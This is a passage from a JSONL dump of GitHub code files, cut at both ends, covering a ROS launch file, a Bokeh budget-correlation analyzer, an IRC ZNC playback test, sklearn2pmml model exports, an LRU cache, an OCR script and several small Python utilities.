get_package_share_directory(\r\n 'zinger_description')\r\n\r\n base_launch = PathJoinSubstitution(\r\n [pkg_robot_description, 'launch', 'base.launch.py'])\r\n controllers_launch = PathJoinSubstitution(\r\n [pkg_robot_description, 'launch', 'controllers.launch.py'])\r\n\r\n base_launch_include = IncludeLaunchDescription(\r\n PythonLaunchDescriptionSource([base_launch]),\r\n launch_arguments=[\r\n ('use_sim_time', is_simulation),\r\n ('use_fake_hardware', use_fake_hardware),\r\n ('fake_sensor_commands', fake_sensor_commands)]\r\n )\r\n\r\n controllers_launch_include = IncludeLaunchDescription(\r\n PythonLaunchDescriptionSource([controllers_launch]),\r\n launch_arguments=[\r\n ('use_sim_time', is_simulation),\r\n ('use_fake_hardware', use_fake_hardware),\r\n ('fake_sensor_commands', fake_sensor_commands)]\r\n )\r\n\r\n ld = LaunchDescription(ARGUMENTS)\r\n ld.add_action(base_launch_include)\r\n ld.add_action(controllers_launch_include)\r\n return ld\r\n","repo_name":"pvandervelde/zinger_description","sub_path":"launch/robot_description.launch.py","file_name":"robot_description.launch.py","file_ext":"py","file_size_in_byte":2636,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"9073440245","text":"import os\nimport logging\nfrom collections import OrderedDict\nimport warnings\n\nimport numpy as np\nfrom pandas import DataFrame\nfrom typing import List\nimport scipy\n\nfrom ConfigSpace.configuration_space import Configuration\nfrom smac.runhistory.runhistory import RunHistory\nfrom smac.scenario.scenario import Scenario\n\nfrom bokeh.models import ColumnDataSource, CustomJS, Range1d\nfrom bokeh.models.widgets import DataTable, TableColumn\nfrom bokeh.embed import components\nfrom bokeh.plotting import show, figure\nfrom bokeh.io import output_notebook\nfrom bokeh.layouts import column\nfrom bokeh.transform import jitter\n\nfrom cave.analyzer.base_analyzer import BaseAnalyzer\nfrom cave.utils.helpers import get_cost_dict_for_config, get_timeout, combine_runhistories\nfrom cave.utils.statistical_tests import paired_permutation, paired_t_student\nfrom cave.utils.timing import timing\n\nclass BudgetCorrelation(BaseAnalyzer):\n\n def __init__(self,\n runs):\n \"\"\"\n Parameters\n ----------\n incumbents: List[Configuration]\n incumbents per budget, assuming ascending order\n budget_names: List[str]\n budget-names as strings\n epm_rhs: List[RunHistory]\n estimated runhistories for budgets, same length and order as incumbents\"\"\"\n self.logger = logging.getLogger(self.__module__ + '.' + self.__class__.__name__)\n\n self.runs = runs\n\n # To be set\n self.dataframe = None\n\n def _get_table(self, runs):\n table = []\n for b1 in runs:\n table.append([])\n for b2 in runs:\n configs = set(b1.combined_runhistory.get_all_configs()).intersection(set(b2.combined_runhistory.get_all_configs()))\n costs = list(zip(*[(b1.combined_runhistory.get_cost(c), b2.combined_runhistory.get_cost(c)) for c in configs]))\n rho, p = scipy.stats.spearmanr(costs[0], costs[1])\n # Differentiate to generate upper diagonal\n if runs.index(b2) < runs.index(b1):\n table[-1].append(\"\")\n else:\n table[-1].append(\"{:.2f} ({} samples)\".format(rho, len(costs[0])))\n\n budget_names = [os.path.basename(run.folder) for run in runs]\n return DataFrame(data=table, columns=budget_names, index=budget_names)\n\n def plot(self):\n \"\"\"Create table and plot that reacts to selection of cells by updating the plotted data to visualize\n correlation.\"\"\"\n return self._plot(self.runs)\n\n def _plot(self, runs):\n \"\"\"Create table and plot that reacts to selection of cells by updating the plotted data to visualize correlation.\n\n Parameters\n ----------\n runs: List[ConfiguratorRun]\n list with runs (budgets) to be compared\n \"\"\"\n df = self._get_table(runs)\n # Create CDS from pandas dataframe\n columns = list(df.columns.values)\n data = dict(df[columns])\n data[\"Budget\"] = df.index.tolist()\n table_source = ColumnDataSource(data)\n # Create bokeh-datatable\n columns = [TableColumn(field='Budget', title=\"Budget\", sortable=False, width=20)] + [\n TableColumn(field=header, title=header, default_sort='descending', width=10) for header in columns\n ]\n bokeh_table = DataTable(source=table_source, columns=columns, index_position=None, sortable=False,\n height=20 + 30 * len(data[\"Budget\"]))\n\n # Create CDS for scatter-plot\n all_configs = set([a for b in [run.original_runhistory.get_all_configs() for run in runs] for a in b])\n data = {os.path.basename(run.folder) : [run.original_runhistory.get_cost(c) if c in\n run.original_runhistory.get_all_configs() else\n None for c in all_configs] for run in runs}\n data['x'] = []\n data['y'] = []\n\n with warnings.catch_warnings(record=True) as list_of_warnings:\n # Catch unmatching column lengths warning\n warnings.simplefilter('always')\n scatter_source = ColumnDataSource(data=data)\n for w in list_of_warnings:\n self.logger.debug(\"During budget correlation a %s was raised: %s\", str(w.category), w.message)\n\n # Create figure and dynamically updating plot (linked with table)\n min_val = min([min([v for v in val if v]) for val in data.values() if len(val) > 0])\n max_val = max([max([v for v in val if v]) for val in data.values() if len(val) > 0])\n padding = (max_val - min_val) / 10 # Small padding to border (fraction of total intervall)\n min_val -= padding\n max_val += padding\n p = figure(plot_width=400, plot_height=400,\n match_aspect=True,\n y_range=Range1d(start=min_val, end=max_val, bounds=(min_val, max_val)),\n x_range=Range1d(start=min_val, end=max_val, bounds=(min_val, max_val)),\n x_axis_label='budget', y_axis_label='budget')\n p.circle(x='x', y='y',\n #x=jitter('x', 0.1), y=jitter('y', 0.1),\n source=scatter_source, size=5, color=\"navy\", alpha=0.5)\n\n code = 'var budgets = ' + str(list(df.columns.values)) + ';'\n code += 'console.log(budgets);'\n code += \"\"\"\n try {\n // This first part only extracts selected row and column!\n var grid = document.getElementsByClassName('grid-canvas')[0].children;\n var row = '';\n var col = '';\n for (var i=0,max=grid.length;i 0 && col > 0) {\n // Copy relevant arrays\n var new_x = scatter_source.data[budgets[row]].slice();\n var new_y = scatter_source.data[budgets[col]].slice();\n // Remove all pairs where one value is null\n while ((next_null = new_x.indexOf(null)) > -1) {\n new_x.splice(next_null, 1);\n new_y.splice(next_null, 1);\n }\n while ((next_null = new_y.indexOf(null)) > -1) {\n new_x.splice(next_null, 1);\n new_y.splice(next_null, 1);\n }\n // Assign new data to the plotted columns\n scatter_source.data['x'] = new_x;\n scatter_source.data['y'] = new_y;\n scatter_source.change.emit();\n // Update axis-labels\n xaxis.attributes.axis_label = budgets[row];\n yaxis.attributes.axis_label = budgets[col];\n // Update ranges\n var min = Math.min(...[Math.min(...new_x), Math.min(...new_y)])\n max = Math.max(...[Math.max(...new_x), Math.max(...new_y)]);\n var padding = (max - min) / 10;\n console.log(min, max, padding);\n xr.start = min - padding;\n yr.start = min - padding;\n xr.end = max + padding;\n yr.end = max + padding;\n }\n } catch(err) {\n console.log(err.message);\n }\n \"\"\"\n\n callback = CustomJS(args=dict(table_source=table_source,\n scatter_source=scatter_source,\n xaxis=p.xaxis[0], yaxis=p.yaxis[0],\n xr=p.x_range, yr=p.y_range,\n ), code=code)\n table_source.selected.js_on_change('indices', callback)\n\n layout = column(bokeh_table, p)\n return layout\n\n def get_html(self, d=None, tooltip=None):\n script, div = components(self.plot())\n if d is not None:\n d[\"bokeh\"] = script, div\n return script, div\n\n def get_jupyter(self):\n output_notebook()\n show(self.plot())\n","repo_name":"timothyyu/ml_monorepo","sub_path":"CAVE/cave/analyzer/budget_correlation.py","file_name":"budget_correlation.py","file_ext":"py","file_size_in_byte":8461,"program_lang":"python","lang":"en","doc_type":"code","stars":59,"dataset":"github-code","pt":"21"} +{"seq_id":"41235967945","text":"import random\n\n#array = [64, 32, 16, 8, 4, 2, 1]\narray = [32, 1, 4, 8, 64, 2, 16]\n\ndef random_select(array):\n result = {}\n\n for n in range(10000000):\n sum = 0\n temp_array = array.copy()\n\n while sum <= 124:\n choice = random.choice(temp_array)\n temp_array.remove(choice)\n sum += choice\n\n if sum in result.keys():\n result[sum] += 1\n else:\n result[sum] = 1\n\n return result\n\nresult = random_select(array)\nmax_value = max(result, key=result.get)\n\nprint(max_value)","repo_name":"djswypes/Aleph","sub_path":"Question3.py","file_name":"Question3.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12320776053","text":"import requests\nfrom bs4 import BeautifulSoup\nimport time, threading\nfrom datetime import datetime\nimport csv\n\n\n\ncurrentStockPrice = 0\npriceList = []\ndef scrap(URL)->str:\n price = \"\"\n webPage = URL\n page = requests.get(webPage)\n soup = BeautifulSoup(page.content, 'html.parser')\n name = soup.title\n name = name.string\n\n #get the current price of the stock\n price = soup.find(class_=\"Fw(b) Fz(36px) Mb(-4px) D(ib)\")\n price = price.string\n #get the name of the stock\n name = name.split(',')[0]\n\n now = datetime.now()\n dt_string = now.strftime(\"%d/%m/%Y %H:%M:%S\")\n print(name + \" at time \" + dt_string + \" ---- \" + \"$\" + price)\n priceList.append(price)\n return(price)\n\n\n\nwhile True:\n # Code executed here\n url = 'https://finance.yahoo.com/quote/TSLA?p=AAPL&.tsrc=fin-srch'\n scrap(url)\n time.sleep(5) \n \n\n\n","repo_name":"LucasMazza42/StockDataScrapper","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20582349875","text":"\"\"\"\n`Ergo `_-specific tests of ZNC-like message playback\n\"\"\"\n\nimport time\n\nfrom irctest import cases\nfrom irctest.irc_utils.junkdrawer import ircv3_timestamp_to_unixtime, random_name\n\n\ndef extract_playback_privmsgs(messages):\n # convert the output of a playback command, drop the echo message\n result = []\n for msg in messages:\n if msg.command == \"PRIVMSG\" and msg.params[0].lower() != \"*playback\":\n result.append(msg.to_history_message())\n return result\n\n\n@cases.mark_services\nclass ZncPlaybackTestCase(cases.BaseServerTestCase):\n @staticmethod\n def config() -> cases.TestCaseControllerConfig:\n return cases.TestCaseControllerConfig(chathistory=True)\n\n @cases.mark_specifications(\"Ergo\")\n def testZncPlayback(self):\n early_time = int(time.time() - 60)\n\n chname = random_name(\"#znc_channel\")\n bar, pw = random_name(\"bar\"), random_name(\"pass\")\n self.controller.registerUser(self, bar, pw)\n self.connectClient(\n bar,\n name=bar,\n capabilities=[\n \"batch\",\n \"labeled-response\",\n \"message-tags\",\n \"server-time\",\n \"echo-message\",\n \"sasl\",\n ],\n password=pw,\n )\n self.joinChannel(bar, chname)\n\n qux = random_name(\"qux\")\n self.connectClient(\n qux,\n name=qux,\n capabilities=[\n \"batch\",\n \"labeled-response\",\n \"message-tags\",\n \"server-time\",\n \"echo-message\",\n \"sasl\",\n ],\n )\n self.joinChannel(qux, chname)\n\n self.sendLine(qux, \"PRIVMSG %s :hi there\" % (bar,))\n dm = [msg for msg in self.getMessages(qux) if msg.command == \"PRIVMSG\"][\n 0\n ].to_history_message()\n self.assertEqual(dm.text, \"hi there\")\n\n NUM_MESSAGES = 10\n echo_messages = []\n for i in range(NUM_MESSAGES):\n self.sendLine(qux, \"PRIVMSG %s :this is message %d\" % (chname, i))\n echo_messages.extend(\n msg.to_history_message()\n for msg in self.getMessages(qux)\n if msg.command == \"PRIVMSG\"\n )\n time.sleep(0.003)\n self.assertEqual(len(echo_messages), NUM_MESSAGES)\n\n self.getMessages(bar)\n\n # reattach to 'bar'\n self.connectClient(\n bar,\n name=\"viewer\",\n capabilities=[\n \"batch\",\n \"labeled-response\",\n \"message-tags\",\n \"server-time\",\n \"echo-message\",\n \"sasl\",\n ],\n password=pw,\n )\n self.sendLine(\"viewer\", \"PRIVMSG *playback :play * %d\" % (early_time,))\n messages = extract_playback_privmsgs(self.getMessages(\"viewer\"))\n self.assertEqual(set(messages), set([dm] + echo_messages))\n self.sendLine(\"viewer\", \"QUIT\")\n self.assertDisconnected(\"viewer\")\n\n # reattach to 'bar', play back selectively\n self.connectClient(\n bar,\n name=\"viewer\",\n capabilities=[\n \"batch\",\n \"labeled-response\",\n \"message-tags\",\n \"server-time\",\n \"echo-message\",\n \"sasl\",\n ],\n password=pw,\n )\n mid_timestamp = ircv3_timestamp_to_unixtime(echo_messages[5].time)\n # exclude message 5 itself (oragono's CHATHISTORY implementation\n # corrects for this, but znc.in/playback does not because whatever)\n mid_timestamp += 0.001\n self.sendLine(\"viewer\", \"PRIVMSG *playback :play * %s\" % (mid_timestamp,))\n messages = extract_playback_privmsgs(self.getMessages(\"viewer\"))\n self.assertEqual(messages, echo_messages[6:])\n self.sendLine(\"viewer\", \"QUIT\")\n self.assertDisconnected(\"viewer\")\n\n # reattach to 'bar', play back selectively (pass a parameter and 2 timestamps)\n self.connectClient(\n bar,\n name=\"viewer\",\n capabilities=[\n \"batch\",\n \"labeled-response\",\n \"message-tags\",\n \"server-time\",\n \"echo-message\",\n \"sasl\",\n ],\n password=pw,\n )\n start_timestamp = ircv3_timestamp_to_unixtime(echo_messages[2].time)\n start_timestamp += 0.001\n end_timestamp = ircv3_timestamp_to_unixtime(echo_messages[7].time)\n self.sendLine(\n \"viewer\",\n \"PRIVMSG *playback :play %s %s %s\"\n % (chname, start_timestamp, end_timestamp),\n )\n messages = extract_playback_privmsgs(self.getMessages(\"viewer\"))\n self.assertEqual(messages, echo_messages[3:7])\n # test nicknames as targets\n self.sendLine(\"viewer\", \"PRIVMSG *playback :play %s %d\" % (qux, early_time))\n messages = extract_playback_privmsgs(self.getMessages(\"viewer\"))\n self.assertEqual(messages, [dm])\n self.sendLine(\n \"viewer\", \"PRIVMSG *playback :play %s %d\" % (qux.upper(), early_time)\n )\n messages = extract_playback_privmsgs(self.getMessages(\"viewer\"))\n self.assertEqual(messages, [dm])\n self.sendLine(\"viewer\", \"QUIT\")\n self.assertDisconnected(\"viewer\")\n\n # test 2-argument form\n self.connectClient(\n bar,\n name=\"viewer\",\n capabilities=[\n \"batch\",\n \"labeled-response\",\n \"message-tags\",\n \"server-time\",\n \"echo-message\",\n \"sasl\",\n ],\n password=pw,\n )\n self.sendLine(\"viewer\", \"PRIVMSG *playback :play %s\" % (chname,))\n messages = extract_playback_privmsgs(self.getMessages(\"viewer\"))\n self.assertEqual(messages, echo_messages)\n self.sendLine(\"viewer\", \"PRIVMSG *playback :play *\")\n messages = extract_playback_privmsgs(self.getMessages(\"viewer\"))\n self.assertEqual(set(messages), set([dm] + echo_messages))\n self.sendLine(\"viewer\", \"QUIT\")\n self.assertDisconnected(\"viewer\")\n\n # test limiting behavior\n config = self.controller.getConfig()\n config[\"history\"][\"znc-maxmessages\"] = 5\n self.controller.rehash(self, config)\n self.connectClient(\n bar,\n name=\"viewer\",\n capabilities=[\n \"batch\",\n \"labeled-response\",\n \"message-tags\",\n \"server-time\",\n \"echo-message\",\n \"sasl\",\n ],\n password=pw,\n )\n self.sendLine(\n \"viewer\", \"PRIVMSG *playback :play %s %d\" % (chname, int(time.time() - 60))\n )\n messages = extract_playback_privmsgs(self.getMessages(\"viewer\"))\n # should receive the latest 5 messages\n self.assertEqual(messages, echo_messages[5:])\n","repo_name":"progval/irctest","sub_path":"irctest/server_tests/znc_playback.py","file_name":"znc_playback.py","file_ext":"py","file_size_in_byte":7084,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"21"} +{"seq_id":"23097725663","text":"import sys\nimport xml.etree.ElementTree as ET \nfrom xml.sax.saxutils import unescape as unescape_\nimport json\nfrom collections import defaultdict\n#import imageio\n\ndef unescape(s):\n return unescape_(s).replace('"','\"').replace(''',\"'\")\n\n\ndef getLineBoundaries(xmlPath):\n tree = ET.parse(xmlPath)\n root = tree.getroot()\n pageLines=defaultdict(list)\n for page in root.findall('SinglePage'):\n image = page.attrib['FileName']\n image = image[image.index('/')+1:]\n allHs=0\n lines=[]\n for line in page.findall('Paragraph/Line'):\n\n trans=unescape(line.attrib['Value'])\n top = int(line.attrib['Top'])\n bot = int(line.attrib['Bottom'])\n left = int(line.attrib['Left'])\n right = int(line.attrib['Right'])\n lines.append(([top,bot+1,left,right+1],trans))\n allHs+=1+bot-top\n meanH = allHs/len(lines)\n for bounds,trans in lines:\n diff = meanH-(bounds[1]-bounds[0])\n if diff>0:\n #pad out to make short words the same height on the page\n bounds[0]-=diff/2\n bounds[1]+=diff/2\n #but don't clip in tall words\n\n #add a little extra padding horizontally\n bounds[2]-= meanH/4\n bounds[3]+= meanH/4\n bounds = [round(v) for v in bounds]\n #lineImg = formImg[bounds[0]:bounds[1],bounds[2]:bounds[3]]\n pageLines[image].append((image,bounds,trans))\n return pageLines\n","repo_name":"herobd/handwriting_line_generation","sub_path":"utils/parseRIMESlines.py","file_name":"parseRIMESlines.py","file_ext":"py","file_size_in_byte":1534,"program_lang":"python","lang":"en","doc_type":"code","stars":59,"dataset":"github-code","pt":"21"} +{"seq_id":"18838506087","text":"# Pytest combines setup, execute, and teardown with fixtures.\r\n# Usage: Export the test data csv file and the output data csv file from Power BI,\r\n# Define the file names in the constants in the test,\r\n# python -m pytest test_resolution_time_csv.py, or\r\n# python -m pytest to run all tests\r\n\r\nimport pandas as pd\r\nimport pytest\r\n\r\n# Define constants for relative tolerance\r\nREL_TOL = 1e-2\r\n\r\n# Define the file names as variables\r\nTEST_DATA_FILE = 'test_data.csv'\r\nOUTPUT_DATA_FILE = 'output_data.csv'\r\n\r\n# Define the column names as variables\r\nSTART_DATE_COL = 'Start Date'\r\nEND_DATE_COL = 'End Date'\r\nEXPECTED_AVG_RES_TIME_COL = 'Expected Avg Resolution Time'\r\nMONTHS_COL = 'Months'\r\n\r\n# Fixture to load the test data csv file\r\n@pytest.fixture\r\ndef test_data():\r\n return pd.read_csv(TEST_DATA_FILE)\r\n\r\n# Fixture to load the output data csv file\r\n@pytest.fixture\r\ndef output_data():\r\n return pd.read_csv(OUTPUT_DATA_FILE)\r\n\r\ndef test_average_resolution_time_total(test_data, output_data):\r\n # Drop missing values from the test data\r\n test_data_clean = test_data.dropna(subset=[START_DATE_COL, END_DATE_COL]).copy()\r\n \r\n # Calculate days difference and average resolution time for non-missing values\r\n days_diff = (pd.to_datetime(test_data_clean[END_DATE_COL]) - pd.to_datetime(test_data_clean[START_DATE_COL])).dt.days\r\n avg_days_diff = days_diff.mean()\r\n \r\n # Check if the calculated average matches the expected value\r\n expected_avg_days_diff = output_data[EXPECTED_AVG_RES_TIME_COL].iloc[0]\r\n assert avg_days_diff == pytest.approx(expected_avg_days_diff, rel=REL_TOL)\r\n\r\n","repo_name":"park-jsdev/capstone","sub_path":"test/test_resolution_time_csv.py","file_name":"test_resolution_time_csv.py","file_ext":"py","file_size_in_byte":1631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"39101237752","text":"from lightgbm import LGBMClassifier, LGBMRegressor\nfrom sklearn_pandas import DataFrameMapper\nfrom sklearn.ensemble import RandomForestClassifier, RandomForestRegressor\nfrom sklearn.preprocessing import OneHotEncoder\nfrom sklearn.tree import DecisionTreeClassifier, DecisionTreeRegressor\nfrom sklearn2pmml import sklearn2pmml\nfrom sklearn2pmml.decoration import CategoricalDomain, ContinuousDomain\nfrom sklearn2pmml.pipeline import PMMLPipeline\nfrom sklearn2pmml.preprocessing.lightgbm import make_lightgbm_dataframe_mapper\nfrom sklearn2pmml.preprocessing.xgboost import make_xgboost_dataframe_mapper\nfrom xgboost.sklearn import XGBClassifier, XGBRegressor\n\nimport pandas\n\naudit = pandas.read_csv(\"csv/Audit.csv\")\nprint(audit.head(3))\n\ncolumns = audit.columns.tolist()\n\naudit_X = audit[columns[: -1]]\naudit_y = audit[columns[-1]]\n\naudit_X = audit_X.drop([\"Deductions\"], axis = 1)\n\ndef lightgbm_audit():\n\tmapper, categorical_feature = make_lightgbm_dataframe_mapper(audit_X.dtypes, missing_value_aware = False)\n\tpipeline = PMMLPipeline([\n\t\t(\"mapper\", mapper),\n\t\t(\"classifier\", LGBMClassifier(n_estimators = 71, max_depth = 7, random_state = 13))\n\t])\n\tpipeline.fit(audit_X, audit_y, classifier__categorical_feature = categorical_feature)\n\tpipeline.configure(compact = True)\n\tsklearn2pmml(pipeline, \"pmml/LightGBMAudit.pmml\", with_repr = False)\n\nlightgbm_audit()\n\ndef sklearn_audit(classifier, name):\n\tpipeline = PMMLPipeline([\n\t\t(\"mapper\", DataFrameMapper(\n\t\t\t[([column], [CategoricalDomain(), OneHotEncoder()]) for column in [\"Employment\", \"Education\", \"Marital\", \"Occupation\", \"Gender\"]] +\n\t\t\t[([column], ContinuousDomain()) for column in [\"Age\", \"Income\", \"Hours\"]]\n\t\t)),\n\t\t(\"classifier\", classifier)\n\t])\n\tpipeline.fit(audit_X, audit_y)\n\tpipeline.configure(compact = False)\n\tsklearn2pmml(pipeline, \"pmml/\" + name + \".pmml\", with_repr = False)\n\nsklearn_audit(DecisionTreeClassifier(max_depth = 8, random_state = 13), \"DecisionTreeAudit\")\nsklearn_audit(RandomForestClassifier(n_estimators = 71, max_depth = 7, random_state = 13), \"RandomForestAudit\")\n\ndef xgboost_audit():\n\tmapper = make_xgboost_dataframe_mapper(audit_X.dtypes, missing_value_aware = False)\n\tpipeline = PMMLPipeline([\n\t\t(\"mapper\", mapper),\n\t\t(\"classifier\", XGBClassifier(n_estimators = 71, max_depth = 5, random_state = 13))\n\t])\n\tpipeline.fit(audit_X, audit_y)\n\tpipeline.configure(compact = True)\n\tsklearn2pmml(pipeline, \"pmml/XGBoostAudit.pmml\", with_repr = True)\n\nxgboost_audit()\n\nauto = pandas.read_csv(\"csv/Auto.csv\")\nprint(auto.head(3))\n\ncolumns = auto.columns.tolist()\n\nauto_X = auto[columns[: -1]]\nauto_y = auto[columns[-1]]\n\ndef lightgbm_auto():\n\tmapper, categorical_feature = make_lightgbm_dataframe_mapper(auto_X.dtypes, missing_value_aware = False)\n\tpipeline = PMMLPipeline([\n\t\t(\"mapper\", mapper),\n\t\t(\"regressor\", LGBMRegressor(n_estimators = 31, max_depth = 5, random_state = 13))\n\t])\n\tpipeline.fit(auto_X, auto_y, regressor__categorical_feature = categorical_feature)\n\tpipeline.configure(compact = True)\n\tsklearn2pmml(pipeline, \"pmml/LightGBMAuto.pmml\", with_repr = False)\n\nlightgbm_auto()\n\ndef sklearn_auto(regressor, name):\n\tpipeline = PMMLPipeline([\n\t\t(\"mapper\", DataFrameMapper(\n\t\t\t[([column], [CategoricalDomain(), OneHotEncoder()]) for column in [\"cylinders\", \"model_year\", \"origin\"]] +\n\t\t\t[([column], ContinuousDomain()) for column in [\"displacement\", \"horsepower\", \"weight\", \"acceleration\"]]\n\t\t)),\n\t\t(\"regressor\", regressor)\n\t])\n\tpipeline.fit(auto_X, auto_y)\n\tpipeline.configure(compact = False)\n\tsklearn2pmml(pipeline, \"pmml/\" + name + \".pmml\", with_repr = False)\n\nsklearn_auto(DecisionTreeRegressor(max_depth = 6, random_state = 13), \"DecisionTreeAuto\")\nsklearn_auto(RandomForestRegressor(n_estimators = 31, max_depth = 5, random_state = 13), \"RandomForestAuto\")\n\ndef xgboost_auto():\n\tmapper = make_xgboost_dataframe_mapper(auto_X.dtypes, missing_value_aware = False)\n\tpipeline = PMMLPipeline([\n\t\t(\"mapper\", mapper),\n\t\t(\"regressor\", XGBRegressor(n_estimators = 31, max_depth = 3, random_state = 13))\n\t])\n\tpipeline.fit(auto_X, auto_y)\n\tpipeline.configure(compact = False)\n\tsklearn2pmml(pipeline, \"pmml/XGBoostAuto.pmml\", with_repr = True)\n\nxgboost_auto()","repo_name":"vruusmann/rf_feature_impact","sub_path":"src/main/resources/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4361445433","text":"from concurrent.futures import TimeoutError\nfrom google.cloud import pubsub_v1\nimport json\nimport time\n\nmessagesObj = {\"messages\": []}\n\ndef callback(message):\n global messagesObj\n print(\"Received message print: {}\".format(message))\n \n msgBody = message.data\n msgSender = message.attributes['user']\n currentTimestamp = message.attributes['timestamp']\n\n currentMessage = {}\n\n currentMessage['messageBody'] = str(msgBody.decode('utf-8'))\n currentMessage['timestamp'] = str(currentTimestamp)\n currentMessage['user'] = str(msgSender)\n\n messagesObj['messages'].append(currentMessage)\n message.ack()\n\ndef subscriber_pull(request):\n # Set CORS headers for the preflight request\n if request.method == 'OPTIONS':\n # Allows GET requests from any origin with the Content-Type\n # header and caches preflight response for an 3600s\n headers = {\n 'Access-Control-Allow-Origin': '*',\n 'Access-Control-Allow-Methods': 'GET, POST',\n 'Access-Control-Allow-Headers': '*',\n }\n\n return ('', 204, headers)\n\n # Set CORS headers for the main request\n headers = {\n 'Access-Control-Allow-Origin': '*',\n 'Access-Control-Allow-Methods': 'GET, POST',\n 'Access-Control-Allow-Headers': '*',\n }\n\n # END CORS\n\n request_json = request.json\n\n global messagesObj\n\n project_id = \"chat-module-284116\"\n subscription_id = request_json['subscriber']\n\n timeout = 3.0\n\n subscriber = pubsub_v1.SubscriberClient()\n\n subscription_path = subscriber.subscription_path(project_id, subscription_id)\n \n streaming_pull_future = subscriber.subscribe(subscription_path, callback=callback)\n print(\"Listening for messages on {}..\\n\".format(subscription_path))\n\n with subscriber:\n try:\n streaming_pull_future.result(timeout=timeout)\n except TimeoutError:\n return(json.dumps(messagesObj), 200, headers)\n streaming_pull_future.cancel()","repo_name":"devarshipandya21/multicloud-serverless-lms-application","sub_path":"src/gcp cloud functions/main_3.py","file_name":"main_3.py","file_ext":"py","file_size_in_byte":1997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42022413833","text":"class Node:\n def __init__(self, key, value, next_node=None, prev_node=None):\n self.key = key\n self.val = value\n self.nxt = next_node\n self.prev = prev_node\n\n\nclass LRUCache:\n def __init__(self, capacity: int):\n self.data = {}\n self.head = None\n self.tail = None\n self.capacity = capacity\n self.logLen = 0\n \n def get(self, key: int) -> int:\n if key in self.data:\n node = self.data[key]\n if node is self.head:\n return node.val\n else:\n node.prev.nxt = node.nxt\n if node.nxt is not None:\n node.nxt.prev = node.prev\n else:\n self.tail = node.prev\n node.nxt = self.head\n node.prev = None\n self.head.prev = node\n self.head = node\n return node.val\n else:\n return -1\n \n def put(self, key: int, value: int) -> None:\n if key in self.data:\n node = self.data[key]\n node.val = value\n if node is not self.head:\n node.prev.nxt = node.nxt\n if node.nxt is not None:\n node.nxt.prev = node.prev\n else:\n self.tail = node.prev\n node.nxt = self.head\n self.head.prev = node\n self.head = node\n else:\n self.logLen += 1\n node = Node(key, value)\n self.data[key] = node\n if not self.head:\n self.head = node\n self.tail = node\n else:\n self.head.prev = node\n node.nxt = self.head\n self.head = node\n if self.logLen > self.capacity:\n tail_node = self.tail\n new_tail = tail_node.prev\n new_tail.nxt = None\n del self.data[tail_node.key]\n self.tail = new_tail\n self.logLen -= 1\n\n\n# Check mechanism\ncache = LRUCache(2)\nprint('put (1,2)')\ncache.put(1,2)\nprint('cache.get(1) == 2 is', cache.get(1) == 2)\nprint('put (1,3)')\ncache.put(1,3)\nprint('cache.get(1) == 3 is', cache.get(1) == 3)\nprint('put (2,2)')\ncache.put(2,2)\nprint('cache.get(2) == 2 is', cache.get(2) == 2)\nprint('put (4,2)')\ncache.put(4,2)\nprint('cache.get(4) == 2 is', cache.get(4) == 2)\nprint('cache.get(1) should be -1', cache.get(1) == -1)","repo_name":"nikasakandelidze/algorithms","sub_path":"LRUCache/lruCache.py","file_name":"lruCache.py","file_ext":"py","file_size_in_byte":2487,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"37458691472","text":"import numpy as np, pytesseract, cv2 \n\nTESSERACT_PATH = 'C:\\Program Files\\Tesseract-OCR'\n\nimgpath='termproject1/namecard.jpg' #이미지 파일 경로\nwin_name = \"Image To Text\" #OpenCV 창 이름\nimg = cv2.imread(imgpath) #이미지 읽어오기\npos_l = []\n\n# print(img.shape) # 1400, 1050\nimg = cv2.resize(img, (800, 600))\ndst = np.zeros(img.shape)\n\n#마우스 이벤트 처리 함수\ndef onMouse(event, x, y, flags, param):\n global img\n global pos_l\n\n if event == cv2.EVENT_LBUTTONDOWN:\n if len(pos_l) < 4:\n pos_l.append(np.array([x, y]))\n cv2.circle(img, (x, y), 4, (0, 255, 0), -1)\n cv2.imshow(win_name, img)\n\n\n#이미치 처리 함수\ndef ImgProcessing():\n global pos_l\n global dst\n\n if len(pos_l) == 4:\n pts1 = np.float32(pos_l)\n pts2 = np.float32([(50, 50), (50, 500), (750, 50), (750, 500)])\n\n perspect_mat = cv2.getPerspectiveTransform(pts1, pts2)\n dst = cv2.warpPerspective(img, perspect_mat, img.shape[1::-1], cv2.INTER_CUBIC)\n \n return 0\n\n\n#OCR 함수\ndef GetOCR():\n #이미지 불러오기\n # global img\n global dst\n\n #OCR모델 불러오기\n pytesseract.pytesseract.tesseract_cmd = TESSERACT_PATH\n\n #OCR모델로 글자 추출\n text = pytesseract.image_to_string(dst, lang='kor+eng')\n \n return text\n\n\ncv2.imshow(win_name, img) #이미지 출력\ncv2.setMouseCallback(win_name, onMouse)\n\ncv2.waitKey(0) #입력 대기\n\nif len(pos_l) == 4:\n ImgProcessing()\n cv2.imshow(\"dst\", dst)\n\ncv2.waitKey(0) #입력 대기\n\ndst = cv2.cvtColor(dst, cv2.COLOR_BGR2GRAY)\ncv2.imshow(\"dst\", dst)\ncv2.waitKey(0)\n\ntext = GetOCR() #OCR함수로 텍스트 추출\nprint(text) #텍스트 출력\ncv2.destroyAllWindows()\n","repo_name":"jaekim3220/OpenCV_practice","sub_path":"termproject1/TermProject_cho.py","file_name":"TermProject_cho.py","file_ext":"py","file_size_in_byte":1788,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35347329388","text":"import math\nimport os\nimport random\nimport re\nimport sys\n\n# Complete the designerPdfViewer function below.\ndef designerPdfViewer(h, word):\n w = sorted(word)\n index = [ord(w[i])-97 for i in 